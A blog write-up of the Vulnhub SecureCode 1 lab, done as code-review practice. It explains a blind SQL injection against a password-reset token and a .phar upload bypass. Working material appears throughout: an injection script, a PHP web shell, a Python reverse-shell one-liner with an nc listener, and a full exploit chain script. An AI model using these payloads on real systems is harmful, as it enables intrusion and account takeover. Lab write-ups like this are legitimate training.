Posts Vulnhub Secure Code 1 Writeup
Post
Cancel

Vulnhub Secure Code 1 Writeup

Machine Information

As you have read from my other posts on this blog, I recently got the OSCP certification, and now that I’ve set my eyes on the next cert - OSWE, I’m practicing code review. This is the first of the OSWE prep series on this blog.

This is a Vulnhub machine which can be downloaded from: https://www.vulnhub.com/entry/securecode-1,651/

Enumeration

Port scanning

Machine IP: 192.168.56.104

This part is straightforward, the machine only have port 80 open, a quick nmap -p- is enough for this phase.

HTTP enumeration

The website’s index page:

Index page

Dirsearch enumeration:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ dirsearch -u http://192.168.56.104/ -x 403 --full-url -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[23:11:56] Starting: 
[23:11:56] 301 -  316B  - http://192.168.56.104/login  ->  http://192.168.56.104/login/
[23:11:56] 302 -    0B  - http://192.168.56.104/login/  ->  login.php
[23:11:57] 301 -  318B  - http://192.168.56.104/profile  ->  http://192.168.56.104/profile/
[23:11:57] 302 -  767B  - http://192.168.56.104/profile/  ->  ../login/login.php
[23:11:58] 302 -    1KB - http://192.168.56.104/users/  ->  ../login/login.php
[23:11:58] 301 -  316B  - http://192.168.56.104/users  ->  http://192.168.56.104/users/
[23:12:02] 302 -    1KB - http://192.168.56.104/item/  ->  ../login/login.php
[23:12:02] 301 -  315B  - http://192.168.56.104/item  ->  http://192.168.56.104/item/
[23:12:06] 200 -    1KB - http://192.168.56.104/include/
[23:12:06] 301 -  318B  - http://192.168.56.104/include  ->  http://192.168.56.104/include/
[23:12:57] 200 -    2KB - http://192.168.56.104/asset/
[23:12:57] 301 -  316B  - http://192.168.56.104/asset  ->  http://192.168.56.104/asset/

After fumbling around with those paths, I got frustrated because almost all the paths require authentication and other parts are not vulnerable to anything I could think of. All other paths redirect you to login/ path, and this one has login, change password, reset password pages. They are not vulnerable to SQL Injection, XSS, OS command injections, etc… That’s when I go to the web for hints on how to proceed. I got a hint about zip files. So I included the zip extention in the dirsearch command:

1
2
3
4
5
$ dirsearch -u http://192.168.56.104/ -x 403 --full-url -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e zip -f
                                                                     
Extensions: zip | HTTP method: GET | Threads: 30 | Wordlist size: 661560
...
[23:20:06] 200 -    5MB - http://192.168.56.104/source_code.zip

I downloaded the file and extracted it. This is the source code of the application. The contents are as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
$ wget http://192.168.56.104/source_code.zip
$ mkdir source_code; unzip source_code.zip -f source_code
$ find source_code/
source_code/index.php
source_code/robots.txt
source_code/include
source_code/include/connection.php
source_code/include/header.php
source_code/include/isAuthenticated.php
source_code/profile
source_code/profile/edit.php
source_code/profile/index.php
source_code/profile/update.php
source_code/users
source_code/users/store.php
source_code/users/destroy.php
source_code/users/add.php
source_code/users/edit.php
source_code/users/index.php
source_code/users/update.php
source_code/db.sql
source_code/item
source_code/item/addItem.php
source_code/item/newItem.php
source_code/item/destroy.php
source_code/item/updateItem.php
source_code/item/index.php
source_code/item/viewItem.php
source_code/item/editItem.php
source_code/item/image
source_code/item/image/.htaccess
source_code/item/image/1.png
source_code/item/image/3.jpg
source_code/item/image/2.png
source_code/item/image/index.html
source_code/item/image/4.jpg
source_code/login
source_code/login/doChangePassword.php
source_code/login/resetPassword.php
source_code/login/checkLogin.php
source_code/login/logout.php
source_code/login/doResetPassword.php
source_code/login/index.php
source_code/login/login.php

There is a authentication check in isAuthenticated.php, if we do not have the necessary privileges we will be redirected, and practically every files include it. The contents of isAuthenticated.php:

1
2
3
4
5
6
7
8
9
<?php

if($sil!=1){ //sil = 1 represents admin privileges
    $_SESSION['danger']="You not have access to visit that page";
    header("Location: ../login/login.php");
    die();
}

?>  

This is the list of files that does not include isAuthenticated.php:

1
2
3
4
5
6
7
8
9
10
11
12
$ grep -riL "isAuthenticated" .

./include/connection.php
./include/header.php
./item/viewItem.php
./login/doChangePassword.php
./login/resetPassword.php
./login/checkLogin.php
./login/logout.php
./login/doResetPassword.php
./login/index.php
./login/login.php

SQL Injection

When browsing the list of files above, I see in the file item/viewItem.php there is a SQL Injection vulnerability that we can exploit with ease. I will include the whole code here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//filename: viewItem.php
<?php
// Still under development
session_start();
ini_set("display_errors", 0);
include "../include/connection.php";

// see if user is authenticated, if not then redirect to login page
if($_SESSION['id_level'] != 1){

    $_SESSION['danger'] = " You not have access to visit that page";
    header("Location: ../login/login.php");
    
}
// only for users with level 1 (admins)
// prevent SQL injection
$id = mysqli_real_escape_string($conn, $_GET['id']);
$data = mysqli_query($conn, "SELECT * FROM item WHERE id = $id");
$result = mysqli_fetch_array($data);

//var_dump($result);
if(isset($result['id'])){
    http_response_code(404);
}

?>

As you can see, the script still checks for admin privileges, but what happens if we don’t have it? The script only send the Location header to redirect and doesn’t exit like isAuthenticated.php (the die() function). This unsafe redirection allows PHP to parse the rest of the file and run those lines of code.

The script is designed to be resistant to SQL Injection, and here the developer thinks that using mysqli_real_escape_string() is sufficient, but they forgot which characters the function is escaping. From the PHP manual, we have the list of characters that will be escaped: NUL (ASCII 0), \n, \r, \, ', ", and Control-Z. But we did not need any of those things to inject our own query because the query doesn’t have any single quotes that we must break out of. That means this payload: 1 or 1=1 will fly under the radar and makes the query SELECT * FROM item WHERE id = 1 or 1=1. After executing the query, if there’s any result, the script will return HTTP status code 404, and if there isn’t any result, it will return status code 302 because of the HTTP header Location. All of this combined makes an easy boolean-based blind SQL injection.

Password reset feature

So we have SQL Injection at our disposal, but is there anything worthwhile in the database? Fortunately, the developer didn’t delete the SQL script he used when initializing the database. I will only list the relevant bits of the db.sql script here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
CREATE TABLE `item` (
  `id` int(5) NOT NULL,
  `id_user` int(5) NOT NULL,
  `name` varchar(50) NOT NULL,
  `description` varchar(250) NOT NULL,
  `imgname` varchar(250) NOT NULL,
  `price` int(10) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

INSERT INTO `item` (`id`, `id_user`, `name`, `description`, `imgname`, `price`) VALUES
(1, 1, 'Raspery Pi 4', 'Latest Raspberry Pi 4 Model B with 2/4/8GB RAM raspberry pi 4 BCM2711 Quad core Cortex-A72 ARM v8 1.5GHz Speeder Than Pi 3B', '1.png', 92),
(2, 1, 'ALFA WIFI Adapter', 'ALFA WIFI Adapter', '2.png', 12),
(3, 1, 'Mask', 'Mask', '3.jpg', 22),
(4, 1, 'T-Shirt', 'Anonymous Quote T Shirt Fake Society Funny Hacker Parody Guy Fawkes Unisex Tee Style Round Tee Shirt', '4.jpg', 7);

CREATE TABLE `level` (
  `id` int(5) NOT NULL,
  `name` varchar(10) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

INSERT INTO `level` (`id`, `name`) VALUES
(1, 'admin'),
(2, 'user');

CREATE TABLE `user` (
  `id` int(5) NOT NULL,
  `username` varchar(50) NOT NULL,
  `password` varchar(50) NOT NULL,
  `email` varchar(100) NOT NULL,
  `gender` varchar(10) NOT NULL,
  `id_level` int(5) NOT NULL,
  `token` varchar(50) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

INSERT INTO `user` (`id`, `username`, `password`, `email`, `gender`, `id_level`, `token`) VALUES
(1, 'admin', '24b97b1ec42a3deace58636148135f7d', 'admin@hackshop.com', 'Male', 1, ''),
(2, 'customer', '355509442720e7eaa27d4e2fc8abe95a', 'customer@hackshop.com', 'Female', 2, '');

The database have a few tables, notable mentions are the user and item tables. From this script we also know the hash of the users. This is md5 hash as indicated by the checkLogin.php script:

1
2
3
4
5
6
<?php 
session_start();
include '../include/connection.php';
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = md5($_POST['password']);
...

Unfortunately we cannot crack any of the hashes, I think that’s expected since it defeats the purpose of code review in this machine.

Further bashing our heads at the source code tell us that there’s a password reset functionality in the application, it works like this:

  1. We supply our username.
    1
    2
    
    //filename: resetPassword.php
    $username = mysqli_real_escape_string($conn, @$_POST['username']);
    
  2. The application generates a 15 characters random token string and update it to the database: ````php //filename: resetPassword.php $token = generateToken(); mysqli_query($conn,”UPDATE user SET token = ‘$token’ WHERE username = ‘$username’”); send_email($username, $token); $_SESSION[‘status’]=” Password Reset Link has been sent to you via Email, please check it out.”;
    header(“location: login.php”); die();

function generateToken(){ $characters = ‘0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ’; $charactersLength = strlen($characters); $randomString = ‘’; for ($i = 0; $i < 15; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } return $randomString; }

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
3. We use the token sent to our emails to reset the password with the URL `http://192.168.56.104/login/doResetPassword.php?token=sometoken`:
````php
//filename: resetPassword.php
function send_email($username, $token){
    $message = "Hello ".htmlentities($username).",\n";
    $message .= "Please follow the link below to reset your password: \n";
    $message .= "http://".gethostname()."/doResetPassword.php?token=$token \n";
    $message .= "Thanks.\n";

    // get user email
    $data = mysqli_query($conn, "SELECT * FROM user WHERE username='$username'");
    while($result= mysqli_fetch_array($data)){
        $email = $result['email'];
    }
    @mail($email, "Reset Your Password", $message);
}

Account hijacking

Combining the fact that the token is stored in the database and the application is vulnerable to SQL Injection, it is obvious what the next step is. We request to change the admin password, retrieve the password reset token then change the admin password. Let’s discuss about the SQL injection payload:

  • The attack have to be blind
  • We cannot use single quotes

That means we have to get a bit creative with the string comparison. I came up with this little beauty of a payload here:

1
100 union select 1,2,3,4,5,6 from user where BINARY SUBSTR(token,1,1) = 0x61 limit 1

Explanation of all the parts in the payload:

  • 100: this is to make the previous query returns nothing
  • select 1,2,3,4,5,6: we know from the db.sql file that the item table has 6 fields, and from the item/viewItem.php file that the original query select all fields in item table, so we put numbers from 1 to 6 here to act as filler.
  • BINARY SUBSTR(token,1,1) = 0x61: Normally when you compare strings in a SQL query you have to do it like this: where token = 'abcxyz' or where token like '1234%', but since we cannot use single quotes, this is out of the question. So I came up with hex comparison. We know the alphabet used to generate the token, we just need to compare each character of the token to the corresponding hex character. Here 0x61 is a. The BINARY keyword is to make MySQL perform case-sensitive comparisons.
  • limit 1: The first user in user table is admin, and this is our target so I limit the query to the first row.

The automation script used to extract the token:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!python3
import sys
import requests
import urllib.parse

if len(sys.argv) < 2:
    print("[+] Usage: ./exploit.py hostname")
    print("[+] Example: ./exploit.py 192.168.56.103")
    exit()

host = sys.argv[1]

def getAdminToken():
    print('[+] Getting password reset token')
    # request to change admin password
    resetUrl = "http://192.168.56.104/login/resetPassword.php"
    data = {'username':'admin'}
    requests.post(resetUrl, data)

    # Blind SQL injection to get the token, character by character
    url = "http://%s/item/viewItem.php?id=" % host
    token = ""
    tokenLength = 15
    alphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    for i in range(1, tokenLength + 1):
        for c in alphabet:
            hex = format(ord(c), "x") #convert character to hex string
            payload = "100 union select 1,2,3,4,5,6 from user where binary SUBSTR(token,%d,1) = 0x%s limit 1" % (i, hex)
            #URL encode the payload:
            payload = urllib.parse.quote(payload)
            if requests.get(url + payload).status_code == 404:
                #We got the 'i'th character 
                #Go to next character
                token += c
                break
    return token

def main():
    token = getAdminToken()
    print("[+] Token is " + token)

if __name__ == "__main__":
    main()

Running the script will give us the token:

1
2
3
$ ./exploit.py 192.168.56.104
[+] Getting password reset token
[+] Token is: TrHVtDqNvzFGIzk

Now we can go to this page to reset the admin password: http://192.168.56.104/login/doResetPassword.php?token=TrHVtDqNvzFGIzk

The password reset page

Successfully changed password for admin user

Successfully logged in as admin

FLAG 1: 0410e2bd77f66dc9a567ab00aa29599cd

Insecure uploads

Now that we have the admin account, we need to find a way to get the second flag. Since we know what’s in the database and the application source code, I think the second flag is not in the web app itself.

The application has these functionalities:

  • User management
  • View item list (with images)
  • Create new item and edit existing items.

The item management functionality of the app allows uploading images. I think this is the next part of the web app we have to exploit. Relevant files about the uploading functionality:

  • item/newItem.php: Handles creation of new items. This script will escape special characters in the file name and move the uploaded file to /item/image/ with the escaped file name. This script will also check the extension against a blacklist and mime type against a whitelist. ```php <?php … $imgname = mysqli_real_escape_string($conn, $_FILES[‘image’][‘name’]); … $blacklisted_exts = array(“php”, “phtml”, “shtml”, “cgi”, “pl”, “php3”, “php4”, “php5”, “php6”); $mimes = array(“image/jpeg”, “image/png”, “image/gif”);

if(isset($id_user, $name, $imgname, $description, $price)){

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ext = strtolower(pathinfo($_FILES['image']['name'])['extension']);
$mime = mime_content_type($_FILES['image']['tmp_name']);

if(!in_array($ext, $blacklisted_exts) AND in_array($mime, $mimes)){
    $up = move_uploaded_file($_FILES['image']['tmp_name'], "image/".$_FILES['image']['name']);
    $res = mysqli_query($conn,"INSERT INTO item VALUES('','$id_user','$name','$description','$imgname','$price')");
    if($res == true AND $up == true){
        $_SESSION['status'] = " Item data has been Added";
    }else{
        $_SESSION['danger'] = " Failed to add Item";
    }
    header("Location: index.php");
}else{
    $_SESSION['danger'] = " This file is not allowed.";
    header("Location: index.php");
} }else{
$_SESSION['danger'] = " Some Fields are missing.";
header("Location: index.php"); } ?> ``` - item/updateItem.php: This handles modification of existing items. This script will **escape special characters in the file name** and move the uploaded file to `/item/image/` with the `original file name`. This script checks the extension against the same blacklist but **DOES NOT** check for mime type: ```php <?php  ... $imgname = mysqli_real_escape_string($conn, $_FILES['image']['name']); ... $blacklisted_exts = array("php", "phtml", "shtml", "cgi", "pl", "php3", "php4", "php5", "php6");

if(isset($id, $id_user, $name, $imgname, $description, $price)){

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ext = strtolower(pathinfo($imgname)['extension']);
if(!in_array($ext, $blacklisted_exts)){

    $up = move_uploaded_file($_FILES['image']['tmp_name'], "image/".$imgname);
    $res = mysqli_query($conn, "UPDATE item SET name='$name', imgname='$imgname', description='$description',price='$price' WHERE id='$id'");
    if($res == true AND $up == true){
        $_SESSION['status']=" Item data has been edited";
    }else{
        $_SESSION['danger']=" Failed to edit Item";
    }
    header("Location: index.php");
    die();

}else{
    $_SESSION['danger']=" File is not accepted.";
    header("Location: index.php");
    die();
}

}else{ $_SESSION[‘danger’]=” Some Fields are missing.”; header(“Location: index.php”); } ?>

1
- item/image/.htaccess: this file manage which type of extension we are allowed to request. The file use a blacklist approach with the same blacklist as the files above:

<FilesMatch “.(php|php3|php4|php5|php6|phtml|shtml|cgi|pl.)$”> Order Allow,Deny Deny from all </FilesMatch>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
From here we have a few things to consider:
1. Bypassing the extension check: if we want to upload a file with the extension that is in the blacklist, we have to use the NULL byte technique where the file name contains a NULL (0x00) byte like this: `shell.php%00.png`. If we want to do this, we must attack `updateItem.php`, because this file will use the supplied file name as the physical file name on the system as opposed to `newItem.php`, which escapes the NULL byte and use that escaped value as the physical file name. Unfortunately, the extension extraction is performed using the escaped file name in both files so there's no bypassing that here.
2. Bypassing the MIME check: We can easily fool the script by editing the Content-Type field in Burpsuite from `application/x-php` to `image/png`, this is only applicable for `newItem.php`. This bypass alone is not sufficient because we still have to deal with the blacklist.
3. Bypassing the blacklist itself: the blacklist filters out PHP file extensions and several script extensions. You can find the blacklist in the code snippets above. Black listing in this case is not the right approach, if you want the user to just upload images, make a whitelist of approved extensions and not a blacklist. This is evident in the fact that PHP will parse another file extension: `.phar`. We can rename the file to `shell.phar` to bypass the blacklist in both files.

To upload a PHP webshell onto the server through:
- addItem.php: you will have to bypass MIME checking and the blacklist.
- updateItem.php: you will have to bypass the blacklist.

Obviously I chose the less complicated way. We can modify the item using the URL `http://192.168.56.104/item/editItem.php?id=4`, just select a `shell.phar` file and upload. The file will be at `http://192.168.56.104/item/image/shell.phar`. The content of `shell.phar`:

```php
<pre>
<?php 
    system($_GET['cmd']);
?>
</pre>

Editing item number 4

Shell uploaded

After that we can make requests to the file to find the flags with the command: find / -name 'flag*' 2>/dev/null

Flag location

Flag content

Flag 2: 3599f5effdb3ed07d9a90a4ed19d13ad4

If you want to get a reverse shell then you can use this command:

1
/usr/bin/python3.6 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

in conjunction with this command on your machine:

1
$ nc -nvlp 80

Conclusion

The machine is a good introduction to code review, on first glance, the application seems very secure. But forget one exit() combined with bad coding practice and you can take over the server in no time.

Stay tuned to see more coming!

I have also written a script that will automate every step of the exploit phase as a practice. You can find the whole script below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!python3
import sys
import requests
import urllib.parse

def test_connection():
    url = "http://%s/item/viewItem.php?id=" % host
    payload = "100 union select 1,2,3,4,5,6"
    request = '%s%s'%(url,urllib.parse.quote(payload))
    try:
        x = requests.get(request, timeout=2)
    except:
        return False
    if x.status_code == 404:
        return True
    else:
        return False

def getAdminToken():
    print('[+] Getting password reset token')
    # request to change admin password
    resetUrl = "http://192.168.56.104/login/resetPassword.php"
    data = {'username':'admin'}
    requests.post(resetUrl, data)
    url = "http://%s/item/viewItem.php?id=" % host
    token = ""
    tokenLength = 15
    alphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    for i in range(1, tokenLength + 1):
        for c in alphabet:
            hex = format(ord(c), "x")
            payload = "100 union select 1,2,3,4,5,6 from user where binary SUBSTR(token,%d,1) = 0x%s limit 1" % (i, hex)
            if requests.get(url + urllib.parse.quote(payload)).status_code == 404:
                token += c
                break
    print("[+] Token is: "+token)
    return token

def change_admin_password(token):
    resetUrl = ("http://%s/login/doChangePassword.php?token=" % host )+token+"&password=hngnh"
    requests.get(resetUrl)

def login():
    print("[+] Logging in with admin:hngnh")
    session = requests.Session()
    loginUrl = "http://192.168.56.104/login/checkLogin.php"
    data = {
        'username': 'admin',
        'password': 'hngnh'
    }
    session.post(loginUrl, data)
    cookies = session.cookies.get_dict()['PHPSESSID']
    return cookies

def upload_shell(session_id):
    url = "http://192.168.56.104/item/updateItem.php"
    session = requests.session()
    session.cookies.set("PHPSESSID", session_id, domain=host)
    files = {'image': ('shell.phar', '<?php system($_GET["cmd"]); ?>', 'image/png')}
    data = {
        'id': 4,
        'id_user': 1,
        'name': 'Shell',
        'description': 'Backdoor',
        'price': 10
    }
    session.post(url, data=data, files=files)

def invoke_shell():
    print("[+] Starting semi-interactive webshell. You can't change directory with this.")
    url = "http://192.168.56.104/item/image/shell.phar?cmd="
    cmd = ''
    while True:
        print('hngnh > ', end = '')
        cmd = input()
        if cmd == 'exit':
            exit()
        cmd += " 2>&1"
        result = requests.get(url + urllib.parse.quote(cmd))
        print(result.text)

def main():
    if len(sys.argv) < 2:
        print("[+] Usage: ./exploit.py hostname")
        print("[+] Example: ./exploit.py 192.168.56.103")
        exit()

    host = sys.argv[1]

    if not(test_connection()):
        print("[-] Can't connect to service!")
        exit()
    else:
        print("[+] Service is vulnerable")
    token = getAdminToken()
    change_admin_password(token)
    cookie = login()
    upload_shell(cookie)
    invoke_shell()


if __name__ == "__main__":
    main()

Further reading

  1. OWASP Cheat Sheet Series - Unvalidated Redirects and Forwards
  2. Abusing Password reset functionality to steal user data
  3. Secure PHP Image Upload
  4. HackTricks File Upload
This post is licensed under CC BY 4.0 by the author.